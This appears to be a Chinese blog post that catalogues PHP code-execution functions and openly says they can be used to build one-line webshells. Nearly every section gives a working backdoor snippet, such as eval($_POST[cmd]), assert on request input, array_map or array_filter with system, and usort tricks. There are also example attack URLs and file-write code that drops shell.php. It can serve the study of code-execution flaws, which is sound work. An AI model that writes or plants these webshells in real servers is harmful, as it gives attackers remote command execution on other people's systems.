PHP代碼執行函數總結(可以用於製作一句話木馬)

PHP中可以執行代碼的函數,常用於編寫一句話木馬,可能導致代碼執行漏洞,這裏對代碼執行函數做一些歸納。

  常見代碼執行函數,如  

 

    eval()、assert()、preg_replace()、create_function()

    array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()

    文件操作函數、動態函數($a($b))

 

1、eval() 

  eval() 函數把字符串按照 PHP 代碼來計算,如常見的一句話後門程序:<?php eval($_POST[cmd])?>

2、assert()

   與eval類似,字符串被 assert() 當做 PHP 代碼來執行,如:

示例代碼:

  1. <?php
  2. //?cmd=phpinfo()
  3. assert($_REQUEST[cmd]);
  4. ?>

3、preg_replace()       (php5.5以後的版本廢除了/e)

  mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

  搜索subject中匹配pattern的部分, 以replacement進行替換。

  preg_replace()函數原本是執行一個正則表達式的搜索和替換,但因爲存在危險的/e修飾符,使 preg_replace() 將 replacement 參數當作 PHP 代碼

  1. <?php
  2. //?cmd=phpinfo()
  3. @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
  4. ?>

4、create_function()

  create_function主要用來創建匿名函數,如果沒有嚴格對參數傳遞進行過濾,攻擊者可以構造特殊字符串傳遞給create_function()執行任意命令。

代碼示例:

  1. <?php
  2. //?cmd=phpinfo();
  3. $func =create_function('',$_REQUEST['cmd']);
  4. $func();
  5. ?>

參考鏈接:

代碼安全:PHP create_function()注入命令執行漏洞

http://www.cnseay.com/1901/

http://lovexm.blog.51cto.com/3567383/1743442

http://qqhack8.blog.163.com/blog/static/11414798520153795157139/

5、array_map()

  array_map() 函數將用戶自定義函數作用到數組中的每個值上,並返回用戶自定義函數作用後的帶有新值的數組。 回調函數接受的參數數目應該和傳遞給 array_map() 函數的數組數目一致。

 代碼示例:

  1. <?php
  2. //?func=system&cmd=whoami
  3. $func=$_GET['func'];
  4. $cmd=$_GET['cmd'];
  5. $array[0]=$cmd;
  6. $new_array=array_map($func,$array);
  7. //print_r($new_array);
  8. ?>

6、call_user_func()/call_user_func_array ()

 

call_user_func — 把第一個參數作爲回調函數調用,其餘參數是回調函數的參數。

call_user_func_array — 調用回調函數,並把一個數組參數作爲回調函數的參數

  1. <?php
  2. //?cmd=phpinfo()
  3. @call_user_func(assert,$_GET['cmd']);
  4. ?>
  5. <?php
  6. //?cmd=phpinfo()
  7. $cmd=$_GET['cmd'];
  8. $array[0]=$cmd;
  9. call_user_func_array("assert",$array);
  10. ?>

7、array_filter()

 

rray array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

  依次將 array 數組中的每個值傳遞到 callback 函數。如果 callback 函數返回 true,則 array 數組的當前值會被包含在返回的結果數組中。數組的鍵名保留不變。

 

  1. <?php
  2. //?func=system&cmd=whoami
  3. $cmd=$_GET['cmd'];
  4. $array1=array($cmd);
  5. $func =$_GET['func'];
  6. array_filter($array1,$func);
  7. ?>

 

8、usort()、uasort()

  usort() 通過用戶自定義的比較函數對數組進行排序。

  uasort() 使用用戶自定義的比較函數對數組中的值進行排序並保持索引關聯 。

 

  1. php環境>=5.6才能用
  2. <?php usort(...$_GET);?>
  3. 利用方式:
  4. test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
  5. [POST]:x=phpinfo();
  6. php環境>=<5.6才能用
  7. <?php usort($_GET,'asse'.'rt');?>
  8. 利用方式:
  9. test.php?1=1+1&2=eval($_POST[x])
  10. [POST]:x=phpinfo();

9、文件操作函數

  file_put_contents() 函數把一個字符串寫入文件中。

  fputs() 函數寫入文件

代碼示例:

 

  1. <?php
  2. $test='<?php eval($_POST[cmd]);?>';
  3. file_put_contents('test1.php',$test);
  4. ?>
  5. <?php
  6. fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
  7. ?>

10、動態函數

  PHP函數直接由字符串拼接

  1. <?php
  2. //?a=assert&b=phpinfo()
  3. $_GET['a']($_GET['b']);
  4. ?>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章